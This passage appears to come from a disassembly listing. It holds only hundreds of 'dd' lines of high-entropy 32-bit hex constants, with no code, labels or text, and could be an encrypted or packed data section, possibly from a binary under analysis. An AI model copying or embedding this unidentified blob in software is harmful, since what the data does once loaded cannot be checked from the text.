		dd 0FE2BB307h, 0CD4A3611h, 7900A339h, 0EC5D2058h, 0A9C702h
		dd 9C1CFE7Ah, 0D1CC4CCCh, 9DA9A81Dh, 0B5181399h, 34250DA9h
		dd 9AEB7DC6h, 0CF002C97h, 0BF1E0A90h, 2A074196h, 18D75B2Ah
		dd 0C7FC1F25h, 0B50F07ACh, 9A8D0BABh, 45AC2191h, 0A6E1E1E0h
		dd 7002D4C9h, 36459422h, 0FD4C1B73h, 31EC18C5h,	0F2DF150Ah
		dd 3C16E515h, 8A22DB3Fh, 752D37D4h, 5EEFB0E3h, 46EFAEA9h
		dd 0A674E42h, 0A941F4F0h, 0FBC1A3C4h, 37BF5C09h, 0D60467E8h
		dd 0A0D056D1h, 2E5935F3h, 583B0A96h, 77554FB0h,	0A5C7FF2Ch
		dd 4E12B830h, 1DFC9AB4h, 81DC18B7h, 9E374Ah, 131F2D89h
		dd 7219308Eh, 0B5D11AF1h, 421F3DBh, 0A5601525h,	0AFD6373Ch
		dd 2DDBB7E8h, 0B49C5FCDh, 0C70153DCh, 0A07637Fh, 169CDC40h
		dd 989C3F2Ch, 3A44A49Ah, 0C5BF63B2h, 0EF94772Ah, 0F0A6005Eh
		dd 7514F8C3h, 4C90124Eh, 0E67B3B91h, 637D6D72h,	0D9CD6EEh
		dd 819E578Ch, 0CAC63F34h, 7606C4FCh, 88C4A76h, 0E80F4047h
		dd 93677C7Ah, 0C51C0107h, 0FBFB9E85h, 9E0E9140h, 5B5362C8h
		dd 1C271AD3h, 9A91AC87h, 0A2C543C3h, 0D13B1620h, 314BD02Ch
		dd 0F2E8CCF6h, 0DBD45096h, 20DBD5C6h, 1E4441C0h, 0ABAF4049h
		dd 0A91AE650h, 3446A20Ah, 78101873h, 54A8B44h, 8E5FF3B5h
		dd 2E11FDC0h, 1F0618BDh, 5491B77h, 6163388Fh, 2F6007DAh
		dd 22C91B4Eh, 6384472h,	0DB512D26h, 0E7A441B9h,	7225A09h
		dd 0D1E79B7Eh, 1E123861h, 4B9DCC9Ah, 9659E119h,	0D0C14BFh
		dd 0AA36D7E4h, 91467601h, 0CC4E2E24h, 3125A908h, 4619FF9Eh
		dd 0ECC33512h, 1F8760CCh, 0D3B98F74h, 288317F3h, 9C1BB548h
		dd 28E791D9h, 0DE4E4BFAh, 0ED0B3DA1h, 0B07F0FB5h, 8BACD865h
		dd 0CD17D4DCh, 0E859B7E4h, 2FAB5277h, 0D8BB79D9h, 0E03BB380h
		dd 5582EFEBh, 97349D9Dh, 0A2A3558Dh, 0FC85EC43h, 0D274582Ah
		dd 0F54E5BA1h, 0C56E0C99h, 0E953A0D5h, 9578270Bh, 0F8FE3CAh
		dd 0AE284674h, 782416Ah, 2A3B66BAh, 0B5232ED7h,	0AB7A7C92h
		dd 0D0432D7Fh, 69A77AFh, 62550B7h, 0B06B0D94h, 0C61A9FDDh
		dd 0F93B7D86h, 0F0903F85h, 990A5DC9h, 9069E520h, 489BE715h
		dd 89991008h, 66F6B551h, 2B7E1FC5h, 25DF3EF4h, 62E7C4F1h
		dd 35FB7E85h, 47660CF5h, 79310F81h, 83A22E15h, 0BD1AB59Fh
		dd 0B6C26B44h, 30851B9Ah, 0CE032E9Dh, 0AEC0BDD0h, 7A220699h
		dd 0EC4DFF92h, 29232745h, 0CF288DA3h, 780A7F11h, 917C0BE1h
		dd 0D98A4F4Eh, 7FFEF2E3h, 51FAD323h, 0D6A364D5h, 87E5DB59h
		dd 1E443BFDh, 213BC77Dh, 111C554h, 31937035h, 0F11FDF54h
		dd 1F32D33Eh, 2D26B3EAh, 0A510AE42h, 63A20354h,	3B67B7FEh
		dd 0BB449677h, 0D92C1106h, 4D1A592Ah, 9CB55C37h, 0B56F93F2h
		dd 33178A19h, 0C849B1EFh, 6D1E9540h, 0D0873646h, 5F1AB60h
		dd 0C90DDDEFh, 53B5792Bh, 0A05454EBh, 5DDCAB5Bh, 0CFD81279h
		dd 9D484D67h, 0EDFDE5C5h, 0C79D0748h, 3D05B598h, 0AB1B2AD5h
		dd 54E29F87h, 5B750680h, 0BD481DC9h, 836CD73Eh,	0F84851C4h
		dd 0DD9C1FBFh, 0F57910ABh, 418F8872h, 822C7EC4h, 25100CBDh
		dd 456C2795h, 0F49FA1E1h, 4A03D1D3h, 0F4C6AC86h, 416A0D10h
		dd 3B566189h, 6F167A59h, 3ECFFECDh, 0B1C61677h,	37E79BCAh
		dd 0BC01E582h, 48849A6Ch, 89CF56F6h, 6A431560h,	0C2DF9E4Bh
		dd 0C0154133h, 47E70B87h, 0C9E736F3h, 28B7D639h, 0D98211EDh
		dd 15B3BCC9h, 0E919DDB0h
		dd 40F67B7Dh, 0C343160Fh, 9189454h, 0CD120E62h,	81A7FFABh
		dd 86EEA268h, 81736873h, 98D3C731h, 1136CEF5h, 0E157A8B8h
		dd 4BAB1CEAh, 84CF3148h, 0B9979E10h, 31A18D31h,	1479613Dh
		dd 32B55A71h, 0C574287h, 20AD6711h, 9763A2DAh, 0C4695F28h
		dd 6EA555CBh, 67A706CCh, 0F2C379E5h, 0C07F35AFh, 0D32C69D9h
		dd 0ACEB538Ch, 96EDD768h, 869F96AAh, 3A524D2Fh,	845AC783h
		dd 215156C2h, 488ED9h, 0AA3E2D30h, 0C1E6882h, 986967C9h
		dd 14513A2Dh, 0C2205CFCh, 83D6A783h, 2547BCEEh,	2025040h
		dd 0AB5A33C5h, 0D0ECA14h, 6352C4F4h, 1FCC6983h,	10C13F99h
		dd 0C98B1B6Fh, 0A3322D19h, 71F726C6h, 0D095687Ah, 2CF2E169h
		dd 82748890h, 0CBD3649Bh, 0F8FF0F92h, 6382C5B7h, 9E1F0CFh
		dd 0C8AEDC3h, 0B2DBB74Fh, 26576799h, 75143282h,	0ACB1BA8h
		dd 0BE9AA180h, 0C6487F11h, 1D030E7Eh, 0F217C92Ch, 0DC9CC0B4h
		dd 41AC0A4Ah, 2E00F502h, 0AAE08ABEh, 315FCF91h,	0F9FC0773h
		dd 0C5C74E02h, 0C438D1C8h, 0CEF96F7Fh, 3BF9D5F0h, 6740FFA9h
		dd 0FC5078C5h, 56361A3Bh, 0EE9CF636h, 412868EDh, 814025B5h
		dd 924A3835h, 0AD8F1937h, 7E563ADFh, 3E0726A1h,	16AE9037h
		dd 996BC8Ch, 0E82FBBE7h, 0C7290534h, 753680B9h,	1E392ED3h
		dd 11E805E2h, 597266D1h, 12EB2BDh, 38D9F5C5h, 0C573B289h
		dd 0D2BE2C85h, 0D31F0340h, 0D6AEAA16h, 0E9DB37C8h, 0C47E0FA0h
		dd 149051F6h, 0BA9AD6EFh, 3F0981DEh, 0A65208CDh, 91D710DCh
		dd 0E548C38Bh, 14CB2CC8h, 0D33C39DCh, 7805C291h, 0EE36A121h
		dd 0C500321Eh, 0B8238120h, 0F63E0103h, 815B29DAh, 0C9D40F8Fh
		dd 0A9E89A95h, 0A39C919Dh, 1A2F3399h, 0FD63A5C6h, 0ED4ABFEFh
		dd 790047Eh, 0EEAC445h,	965C3AA9h, 8DEC432Ah, 634B1EADh
		dd 4C5A6554h, 36273DDEh, 770557FFh, 6D596B54h, 0D129E0C4h
		dd 34003755h, 0D7968B05h, 5F5AE0EDh, 37CFF738h,	7A0C9C90h
		dd 592D04A9h, 0CDA732FAh, 604717F7h, 0A4B41D8Bh, 0A5B376C0h
		dd 171A9A29h, 89B80F07h, 9C336205h, 446F7D52h, 17D7D3CCh
		dd 0FC440B73h, 39F7DDD4h, 0AD846B46h, 21E32BD4h, 4B582E35h
		dd 0FAE9975Eh, 0C09D63C6h, 0CC144A3Eh, 0EB463D06h, 59472AF3h
		dd 18374AD3h, 1F134890h, 9F604E4h, 6D9198D3h, 0D92656D2h
		dd 0C914E79Eh, 0E82D36E2h, 34D707A9h, 26C541A7h, 0D91E514Dh
		dd 16D79382h, 77801F8Dh, 0B8BF2FCBh, 89AD6540h,	0C3241903h
		dd 5F5F122Dh, 370FB3E7h, 0DA1F04C9h, 0D351A92Ch, 815BB6D5h
		dd 0F6CC51D5h, 0F79ECC80h, 0F09402D1h, 0D9229A9Fh, 831A77B6h
		dd 4A6F6BDDh, 0D4B7E70Ch, 8AB5A488h, 0C8F815C6h, 0F59F7E19h
		dd 1DC4FE29h, 187DEF59h, 0AAD5A89Ch, 0E54DBD54h, 9934EF8Ah
		dd 0EAC1A6F9h, 0ECA7C44Ah, 70325374h, 0D9A1DCF4h, 611336A7h
		dd 0B22CD1F6h, 0BE5CD6CFh, 0BC10562Dh, 0C0091A63h, 9437CF2Ah
		dd 0A05F121Eh, 210D46AFh, 0D8952E22h, 0A6CF218Fh, 3C90EADh
		dd 113EDAADh, 3C86C713h, 8A941611h, 0BEB1ECC0h,	41514EEAh
		dd 4C51B32Bh, 0C0FCDD25h, 8172D4EDh, 479FC6F7h,	2A1947CCh
		dd 4262E8B7h, 70810C03h, 0CA4794D1h, 79A28C24h,	97069DB7h
		dd 7085DFD6h, 3204F06Dh, 35E705E4h, 731203h, 41CE368h
		dd 912A0C73h, 0C06DF8Dh, 0CE83B3B1h, 0CF21C4DEh, 94393FA0h
		dd 0E9D317DAh, 49C8290h, 69CE67Ch, 0D9233A1Ah, 772ED79Dh
		dd 0CAE3955Dh, 911BA5CFh, 475BF9EBh, 9213F75Dh,	0CA2B3ED3h
		dd 0BE69C6FDh, 9E928EFFh, 1B166A67h, 0A4E311F3h, 0C76EAA8Ch
		dd 31E7A1D4h, 0F395E7D1h, 296F4296h, 218EBE2Fh,	4488E4CEh
		dd 0E144322Ah, 0A1582673h, 0D61F792Ah, 0C9AC3AEBh, 0B06C898Bh
		dd 84E96FBCh, 0C2F3784Dh, 590AFEC1h, 0C3D522C9h, 16E41F76h
		dd 0DC7A3A1h, 0D7C432A7h, 86D57323h, 238E6AEFh,	0B3E86AB5h
		dd 7FCE59C9h, 6EC5056Ch, 0DCF311F6h, 12796F1h, 9D8135E3h
		dd 10147E20h, 0B0D6CBCDh, 0C5758F44h, 0F17B4B9Dh, 0D749CF97h
		dd 5E07132Bh, 0C69BD841h, 0D39A4E5h, 0F050D01h,	7F0326B8h
		dd 469BFD52h, 0D19507AFh, 5246DFE0h, 0D58F7BD5h, 0DB372A48h
		dd 45F1D3CDh, 943B8620h, 0B1454D7Bh, 0C79B2E9Bh, 451126C9h
		dd 9D06AED4h, 0CB0A9EDBh, 0AD5B2A25h, 0C525024Bh, 9A30172h
		dd 0C07D2A45h, 799D931Ah, 6902BA99h, 48EE5126h,	0FF09159Bh
		dd 0ED1CAE11h, 0C3E847B1h, 0BCA1678Dh, 64CF5AF7h, 0CAF7F5CBh
		dd 747AA548h, 38B50469h, 0C3FB9229h, 71DECF6h, 4996C93Ch
		dd 29039700h, 99297E01h, 1EA9525Dh, 0C92ED639h,	0C31712C7h
		dd 60FB6AC4h, 7A0449B9h, 0C5736BCEh, 814F69C4h,	0CF6AFCC9h
		dd 6F771415h, 50324E2h,	0BDB71D00h, 0CB5B4771h,	333D2CDh
		dd 53B88A94h, 453BEF63h, 0BB9316F4h, 0BF22EBE9h, 8D210298h
		dd 0D36A90EEh, 0F60B45E7h, 39EF73E8h, 6CC47B8Ch, 427158B4h
		dd 0A01FF7Ch, 6D5E1D07h, 8C30A70h, 0CDAF4ACDh, 7612CB48h
		dd 0FC14DD05h, 0E10F1D28h, 0DA7450FAh, 0DE4A83ABh, 0ED3C7939h
		dd 0AF785C90h, 0A1FD5EFCh, 0CF861CB7h, 0DFF5D908h, 0B2A95E57h
		dd 5C134D6Eh, 40EB506Dh, 0D954B50Fh, 1905340h, 0D87A8C2Eh
		dd 139083F7h, 51CC3710h, 91BAB3B9h, 61AEE7CDh, 6EFE2698h
		dd 6865D085h, 217F0517h, 0CFC759C3h, 4BFF1501h,	0A5ECE3FAh
		dd 9202359Dh, 934EDF59h, 219BBAD3h, 0CA278416h,	0F08FACAEh
		dd 0A21627A6h, 493EAF71h, 59BCC7FAh, 4A4C1CF8h,	3D69DF71h
		dd 0CCD735E0h, 0BF098031h, 8D0E65F3h, 1E7C4DB7h, 0F7C982E6h
		dd 0FA0A1987h, 42236B23h, 0D9151740h, 0D2813AB7h, 53F6ADAh
		dd 0E606038Fh, 235A3862h, 2867781h, 0C35BF2A9h,	0CA92F1F9h
		dd 0A7960AD0h, 0EB7DE0C5h, 0E5D0930Fh, 0E54C171Eh, 0CFE036D1h
		dd 42F79FF5h, 871B9748h, 2503DEE4h, 0AAF9056Fh,	42170D45h
		dd 97D254D5h, 69C952B6h, 0CCBF9C54h, 0ABDC1079h, 25CC151Fh
		dd 0ED3F7BD9h, 0C963CC6Ah, 0BF247F04h, 4FBD7703h, 81C9D00h
		dd 4D172400h, 0C514F218h, 0E4FD10BDh, 0D0AD1B03h, 432F7D2h
		dd 0B34656F3h, 0C5F9FB99h, 0CD17301Dh, 0D40C62E7h, 404A992Bh
		dd 84AB04D3h, 0EEC981ABh, 98689CEBh, 532A44CEh,	55FE4CC4h
		dd 0EA3B1390h, 388DBE5Fh, 0F09794D1h, 0C56092BAh, 2C962E64h
		dd 0C0B39260h, 91A496EFh, 0D3337C11h, 687C1F65h, 28B50AD7h
		dd 92A63CA6h, 945ED9C9h, 0ED31B173h, 972D3A0h, 6B55D6CAh
		dd 176CFABCh, 0AD6703F5h, 0D1184EEFh, 0C10511FCh, 0CD15ED18h
		dd 0AD5140B3h, 73971C47h, 5BE16E4Bh, 251796B1h,	0D563CE97h
		dd 0C4876FAAh, 0D84E14BDh, 0C68F73C1h, 0DB573B99h, 0EE031951h
		dd 0CDF74BA5h, 0A17F17F8h, 391779B1h, 0A018B97Fh, 19407A77h
		dd 0FE9EA1E9h, 0FD389A8Fh, 0D87310F5h, 0ED338780h, 65560B1Ah
		dd 0CD8A11D5h, 23521FC5h, 9FFE9F1Fh, 0C2241EE5h, 0EACA0DB3h
		dd 6C9B95D8h, 47193589h, 0C91DBFA4h, 80C78511h,	0BD9B1E23h
		dd 0E9408FA0h, 2647E434h, 9B06B7C2h, 37611832h,	0AD8498B3h
		dd 0C51F4DFAh, 0A50B21B3h, 1F03C572h, 0E16C1FC5h, 112F9BC2h
		dd 4FFB93F1h, 0DD45A52Fh, 0FDA62740h, 7C5F945Dh, 0C603B403h
		dd 0F3DF0BCDh, 0ED2337E5h, 0E394414Ah, 4B1C2BF5h, 0F851B3A9h
		dd 0AF6B4789h, 5913AD3h, 20BD934Dh, 0E3694774h,	0C78E0AE0h
		dd 72B566ABh, 0FFD6E6EAh, 6DF04F48h, 62991D73h,	807F5B90h
		dd 812BE9C9h, 73FE108Dh, 0E835CBC2h, 43454F52h,	0BD183BF5h
		dd 25466211h, 98654515h
		dd 0E10F1B1Ah, 3E1035C5h, 0E5142FCDh, 0A67201AAh, 1A417525h
		dd 25D9A19Ch, 8A4E7BA2h, 15F6242Eh, 0ECBDC6A7h,	58F349CFh
		dd 0D313A7C5h, 58F31FD5h, 0D10B8788h, 0BF5E0F49h, 0EEC219E5h
		dd 0DEE667D6h, 4153410Bh, 4FD768CCh, 31D71181h,	0BF14E1C3h
		dd 6D53D399h, 0D48FB885h, 0F725BFBFh, 0CDB438C8h, 75310B39h
		dd 0F88573C3h, 0A1344BE1h, 4F338E81h, 408173BAh, 0E50C85E9h
		dd 0CA3A68C9h, 0C26192FDh, 0ED3D69E1h, 9D5E3B02h, 901FC6D0h
		dd 263801Bh, 891051E1h,	0C00209DCh, 0D63F49FDh,	0ADD717D7h
		dd 0B31EBDFBh, 54772FB9h, 8D66CFB5h, 3BF09C82h,	0D6DE1B96h
		dd 0E25CC315h, 843772EDh, 0C0463EC2h, 93B887Ch,	0C56A1063h
		dd 84271A7Ch, 0D846FB25h, 0E73713BDh, 30793046h, 0F5141BCFh
		dd 0CD21D442h, 0F5142B84h, 0C2F36ADBh, 192BA5AEh, 0F1313BCDh
		dd 0C8962BB7h, 0E0C68CFAh, 0AD9EB33Dh, 0D163F75h, 0D10A09CDh
		dd 3BBB01C5h, 2971E8F1h, 0B50FEFA9h, 0C2BD11E8h, 445663D0h
		dd 93A74900h, 652D28A2h, 0C00C2A80h, 4A4D2A09h,	0D51B8C4Dh
		dd 0E85F47C6h, 4C8ECCCCh, 0C6D09BBFh, 15041CC0h, 43CE4CE7h
		dd 20534907h, 0C5887B76h, 0D4749FB5h, 1071D441h, 0E65B0653h
		dd 0DD4F0F33h, 0E63550C3h, 0C93239E9h, 820205C9h, 801E756h
		dd 0A170EE68h, 99199E87h, 0B32573CDh, 0A96BDFB9h, 94B52h
		dd 0B3379B47h, 77514FEDh, 2E1E86B5h, 46576749h,	0E916A3A6h
		dd 0D9710E7Ah, 0EA046F27h, 0E5FB15EBh, 0FCA39583h, 0D392C96h
		dd 0DFDE556Ch, 12B7D98Bh, 0CF7D94A9h, 0AA5C0F21h, 73A0AE63h
		dd 819F17D1h, 0F16461CAh, 0CD146682h, 0BF55F8BDh, 115ED316h
		dd 8AD34E90h, 0F19E201Bh, 0C59C1132h, 619C167Eh, 4B8292A8h
		dd 0ABED9FC2h, 0A218AB45h, 0C87D88C1h, 2D631EFAh, 0B41D2C2h
		dd 0A72AD7CDh, 0FD890819h, 8A6CFBB2h, 918B9C4Fh, 85E13120h
		dd 0B953EA84h, 0DFF9FFF1h, 0AD85CD3Eh, 0D02DBCEEh, 4D5E4ECEh
		dd 50D6A5CFh, 98C81BD2h, 53013A39h, 0C64E018Ch,	8C112BFFh
		dd 0C91F2ED8h, 2B341FECh, 0E4440989h, 0D8CA6848h, 911E5E16h
		dd 0EB5B0705h, 1177EF47h, 8FC4084Bh, 0C15EA2A9h, 0C9E7A4E4h
		dd 0E2D7195h, 0D5D51B58h, 0A4C22B10h, 0A1B2D4EFh, 0C6179744h
		dd 0C1442841h, 49581759h, 0A9942A99h, 0E935A011h, 16EC0118h
		dd 61581E2Ah, 1B924296h, 9231B75Dh, 6C0CA686h, 603951Fh
		dd 0DFFABDEAh, 0B1F2CC4h, 0FD7713DFh, 554DF9D5h, 0F7ADE78Bh
		dd 700B4669h, 0E1448F85h, 0AF2747C0h, 0CE83F189h, 3AFA8BFAh
		dd 0C5674A42h, 9A7762CFh, 74248A4Dh, 0B411F1Fh,	51A130F3h
		dd 1E13B7D7h, 2A71F696h, 937187Fh, 0C427E903h, 699D79A2h
		dd 4B5971A0h, 0E4F77575h, 0F600EAh, 9E007CAh, 7877C4h
		dd 0C97CD69Ah, 0AA23D785h, 0AB53140Fh, 3A1C8AA2h, 0F2C5CE89h
		dd 30764E36h, 0F0065095h, 56E9EF76h, 49435680h,	81871265h
		dd 33D853BFh, 494AB391h, 942CFF3Eh, 0F53ABEEEh,	8E62DE85h
		dd 4D91CB9Ch, 366E5A34h, 0F4E8FB4Ah, 1749C150h,	4C374893h
		dd 207B9BB1h, 0EF87334Dh, 0AD3913C9h, 51F016D1h, 494BE896h
		dd 1100068Fh, 0C30CD890h, 96171CF6h, 2F62FFF5h,	0A5E067EAh
		dd 0C4541EF3h, 7A2F6596h, 177902F1h, 0DE7DC792h, 0AE3C68EAh
		dd 7B9412ECh, 0FA47F33Ah, 0E7565842h, 0F18BF9C1h, 0AD7A6390h
		dd 910A61B1h, 914C1182h, 0E355A7CCh, 0D2D61793h, 0ED9F6B5Ah
		dd 5F7F76ADh, 992C1AEFh, 9AE8BB92h, 0E1FF459Fh,	0A04FFD9Ch
		dd 937B7D83h, 0AC172600h, 601F6FB5h, 0E6ABD964h, 42D212EAh
		dd 519663C5h, 5F929CEh,	0F2E1405Ah, 3F58463Dh, 0C1CD6F16h
		dd 79E34FAh, 255253CFh,	0CF081D7Fh, 0AD345703h,	0E33B0EE3h
		dd 0F5EDFE97h, 6C11C309h, 9C7F0681h, 9E7E8BF3h,	0DF14EFF5h
		dd 0CA06444Ah, 9AB403F4h, 0C9D18DC9h, 0CBB978C7h, 354A6D6h
		dd 0DB9DD9C5h, 0C4B7D307h, 0BD441FF2h, 1A681530h, 51632C87h
		dd 0E9625FCEh, 0C1341207h, 0C83EFC80h, 0ACCDC0Ah, 0C52B6337h
		dd 0FF636330h, 0B5F0FB9Ah, 0ADC4A0Ah, 236CDCB5h, 0BC63631Ch
		dd 0B5C4CFE3h, 3DDC30ECh, 0F56DCB5h, 9B686BCEh,	371D41h
		dd 0C2719F89h, 7655FCBEh, 832C37A9h, 599AC7BDh,	44DE5F3Dh
		dd 56819D78h, 0A68397DBh, 0F9961C1Bh, 0AEE89487h, 0A063E8E2h
		dd 0DAD134B4h, 8C7BC3FAh, 3B0C1577h, 4B43E7B7h,	0D509A249h
		dd 0BDE46FADh, 0ADB594ACh, 1FA3F843h, 2309C040h, 0E257963Bh
		dd 0E0EC3451h, 0C639418Ah, 0C12557EFh, 45BC15C7h, 0F53F2FC3h
		dd 1AE5F05Bh, 0E137E881h, 810F10E1h, 6C2E18C6h,	0D150F00Bh
		dd 0CE5F5FBAh, 0A687F10Ah, 0D9160D00h, 0FA520F81h, 0CA27C48h
		dd 78B0E8D2h, 0B199467Bh, 0A77CF121h, 8B94C14Dh, 2ED3D73Bh
		dd 15FEC67Fh, 4575B6C0h, 0EAC84A85h, 1D51327Bh,	0BD2FACE2h
		dd 0B902435Fh, 0CAAFF10Eh, 8F6AE72Eh, 947F0B4Ah, 0D0459DD5h
		dd 4E0CE541h, 0B70AC22Ch, 0CB5787B1h, 803A4CCAh, 6B206BDDh
		dd 0FF18BD1Eh, 8DDA988Bh, 0EE737AD5h, 852F53C4h, 0EDCE2BCCh
		dd 365A741Ah, 783A5341h, 0EA07168Dh, 82065BC4h,	3F23D8D7h
		dd 0BD120ECDh, 51955EFh, 0EFC81D80h, 1C635374h,	0FE391CC7h
		dd 0F3C50B7Fh, 0E1DC5FB9h, 749DCC77h, 380F2585h, 0F16B18C5h
		dd 332810F8h, 0BE15A03Eh, 896EA5C0h, 13B7FF45h,	4C58C0C1h
		dd 86BE944h, 195A0AF3h,	1344CAh, 600D5788h, 0DCC88277h
		dd 3734BFEFh, 9514074Ch, 5BFAF4ADh, 0F433A8DEh,	0FAE75188h
		dd 76156B35h, 0C1003345h, 4D331543h, 0E5FBB6BCh, 0AC60BA1Ch
		dd 0F86911C4h, 0E5347CD9h, 0D81D9779h, 394ACF43h, 0D6939A94h
		dd 1F5688C3h, 191B0DD5h, 85810094h, 0A01DB530h,	45839D84h
		dd 0F6F7EBEBh, 0D12B682Ah, 0FD3AD4C5h, 835662C0h, 0B7E79DC0h
		dd 0AF9C9494h, 0C46AE13Bh, 61A0EC5h, 0FDA20BEEh, 0D86888DAh
		dd 0F3B0104Ch, 8A509CB2h, 5E19A96h, 60D69286h, 81EDFAh
		dd 53DE7090h, 0DBA28365h, 953B0BD8h, 4A333ADCh,	3DE3185Ah
		dd 61BE7600h, 354C42DAh, 684B4927h, 0B115A54Fh,	98D19C3Ch
		dd 0FAD16DD0h, 63B8B3B9h, 614E44D8h, 65974496h,	3432F958h
		dd 189DC01Dh, 37EF8944h, 685794D1h, 0A9C4AA66h,	770A775Fh
		dd 8E1967Ch, 0C7807424h, 0F4D617B6h, 6916FFC5h,	5CE0B73h
		dd 873BDBC1h, 0D4539FA9h, 8FF7A1EEh, 7A571B99h,	1C07AA0Eh
		dd 0FB77F3C5h, 377D47C2h, 0A9478DA7h, 0EE3B4F81h, 49DFFF0Bh
		dd 21565F8Bh, 0F4B1A1C8h, 81CF2BC6h, 505F3CB9h,	4F167610h
		dd 1107816Ch, 0BD773889h, 2011A09Eh, 0A3F51850h, 8F6FFC95h
		dd 2795FBB3h, 15C8705Ah, 35FB1ED3h, 0C20472A6h,	0D363B43Dh
		dd 0A1470C8Ch, 4CC43C46h, 0F9F632BCh, 0A139AA09h, 96271087h
		dd 0CB6D1708h, 0C91CA548h, 0AF485643h, 0FA27899Eh, 0E17692F8h
		dd 0C99230D4h, 0E41B270Eh, 0CDD6B030h, 39EF2E51h, 424508A6h
		dd 0E51AF7CAh, 7073E743h, 0C02028Ch, 0D3198BDDh, 35419FB5h
		dd 0E7470F3Ah, 99053DDFh, 0AD14BF20h, 0D473614Dh, 0A74E4125h
		dd 0D61F3B62h, 0D135F5B7h, 0D3593679h, 4B381EF2h, 6244CF0Ch
		dd 2FEC8836h, 719D873Dh, 7B768ACDh, 4CEA634Ch, 0C4B1D46h
		dd 8E3233FCh, 0DCCF5A07h, 0CC54A6A2h, 0B5242FECh, 0C179556Dh
		dd 6E129DB1h, 0DD8611B4h, 31383E5Ah, 3FA76080h,	0DBBF353Fh
		dd 0BDA1129Bh, 68BED393h, 65A77537h, 8008ACB6h,	0CC1F9D19h
		dd 3E3487E4h, 9EF1537Ah, 0D3BB1362h, 312C4171h,	0E6E77DA5h
		dd 699C1801h, 21A6EDEDh
		dd 0C2DF1AEBh, 0D4AB4655h, 0ACD14729h, 8CE817E6h, 0E81B12E5h
		dd 480916C5h, 0CAAFD7DFh, 0E8400CF1h, 0B2E8A581h, 0C8FF2C06h
		dd 563BF58Eh, 97E74481h, 9B9AFF35h, 0D2914DF0h,	54583DD1h
		dd 560D1573h, 3527FA0h,	0EC0AF5BFh, 0A3962748h,	1D6111Ch
		dd 0C5AB2E41h, 80850F7Eh, 62915941h, 685A411h, 0E1536C0h
		dd 0D78CB9B5h, 0C7EEA206h, 8CC7FB4Ch, 0A9CA0ED4h, 10A1EC5h
		dd 0D963F645h, 96445EA6h, 41F805DFh, 29E63356h,	92016F35h
		dd 8A3616B9h, 8F152CEDh, 412CCB9Eh, 0EF1B25B5h,	0B369211h
		dd 35E3688Fh, 395C9684h, 0A6EC0118h, 9E1BF4C8h,	9A179396h
		dd 389F9625h, 784C1F55h, 0BC2733BAh, 0C18731D9h, 17D7C5EEh
		dd 5178197Dh, 0E6131697h, 0B7B3EF87h, 6DF149D5h, 82065F14h
		dd 2EA49684h, 0CDF3123Dh, 0D2F17F49h, 0A7517A1h, 0D052A4B2h
		dd 0EF764A4Ah, 0DF1CCF75h, 0CA23CBC4h, 85009359h, 4355E1C6h
		dd 921D2541h, 0E98FE0A5h, 9FED077Fh, 4B778844h,	0C7FC774Dh
		dd 0AF1F1C95h, 20175FC7h, 44D415C4h, 576A1FAFh,	0C64C6BAEh
		dd 94C4A97Ah, 4660DACDh, 799DE7DFh, 1A9CF745h, 0ECE70715h
		dd 0F2CB982h, 64A5463Dh, 0B7960D80h, 0E862ADC1h, 412FE691h
		dd 0D3861042h, 96E4FA20h, 0EE3E5387h, 0FC4791C0h, 0DD8DED9Eh
		dd 3F227BFBh, 8C52448Dh, 0D727EFA5h, 0EF34F554h, 18268D11h
		dd 0D158B7A6h, 0A5381D8Ch, 9EFB5445h, 0E5ABCACFh, 7562A8C5h
		dd 0CD280AC8h, 152A2DC6h, 0DB076F66h, 81227DBh,	9F4E0DA8h
		dd 0EE014A75h, 0BBC72C20h, 0F492FBB4h, 0F27F72C0h, 8234A1D0h
		dd 0C40C06A5h, 0F350BAC0h, 0DA96F0BDh, 0C25A1D4Ch, 0C1DDED0Eh
		dd 888210DFh, 0CA7F1979h, 0C6AEFC6Bh, 0EB753D3h, 0EAA7FB1h
		dd 6A423B13h, 12B69C8Dh, 4A1DF33h, 0FDB52B85h, 0D9171BFCh
		dd 68CD18A5h, 814537D7h, 411E7920h, 99016AE1h, 1E87184Fh
		dd 0BD47860Ch, 0EF7BEBB1h, 0A51038Ah, 0B1CCCCE1h, 18DD6BF6h
		dd 29454FC8h, 829F4F76h, 0F57B7BF2h, 0C00C4BADh, 4510A563h
		dd 3B1347B4h, 0AA2378C9h, 99B33ABCh, 6CACC942h,	8FC698FBh
		dd 680D87C4h, 5AA56B06h, 740BC833h, 9987817Dh, 40B962CEh
		dd 850AD7E3h, 0CD4B5511h, 0D900F38Bh, 0E0186904h, 92CBFA4Ah
		dd 0DD71F4FAh, 245EA992h, 0A984EA9Dh, 0CF827031h, 0D7F30469h
		dd 0C06CE5ADh, 8A0F0656h, 732BFACDh, 65E30BA8h,	4F127BADh
		dd 0FB14A7FAh, 0FD014B91h, 1F15F941h, 0B35BE7C5h, 43D25502h
		dd 19245E88h, 0AEE54D6Fh, 39593A45h, 9A73108Dh,	843CECFCh
		dd 5571236Ah, 0E3DC1FEDh, 0B46BB900h, 952A00C5h, 3A1B1DEFh
		dd 95FA1748h, 0EDA5432Eh, 584B86D9h, 77A593AEh,	0BA6482EBh
		dd 0C21C4DB7h, 0EF706FC6h, 18190E7Dh, 0D8894124h, 0C87B00C9h
		dd 0A52E8424h, 55634FB1h, 8F812F98h, 656B8BB9h,	0A4FEAF0Ah
		dd 4111A1FAh, 0D90FCB45h, 8AA417F5h, 0C58F23F1h, 0CA6E1F39h
		dd 0CD7F4F76h, 0D8AF4F1Bh, 0D2BD8150h, 0C5EF3314h, 0F05178Eh
		dd 0E21F612Fh, 41075B3Eh, 7582931Fh, 0C605A521h, 8D5BDFE1h
		dd 7FD40039h, 56EB8731h, 0D6D7E739h, 8FEF5FD0h,	0B2331309h
		dd 9A33EF94h, 0D8DB33F8h, 671C699Fh, 0DBEE7F21h, 9C218F7Eh
		dd 5133FD96h, 98FC38BDh, 0E5F74164h, 0FF51E69Dh, 0C0E55509h
		dd 31482731h, 397907DBh, 3F35038Dh, 0E1DC18DDh,	993396EDh
		dd 0DDDF7773h, 0A92365EDh, 0D48D6717h, 6040FD9h, 0C7650381h
		dd 0C67F3C9h, 0DB475F21h, 0A160D99h, 0DB77BEFBh, 0D1138B84h
		dd 966F84F2h, 0FC0D508Bh, 806F1541h, 0AD7F8DA5h, 0DC9C2C4h
		dd 4925186Ch, 14A59A45h, 0ED14F0E5h, 514F2590h,	487550E0h
		dd 9DBDD687h, 0D19CD6A9h, 6EB94F96h, 4E9F3840h,	0DF6380EEh
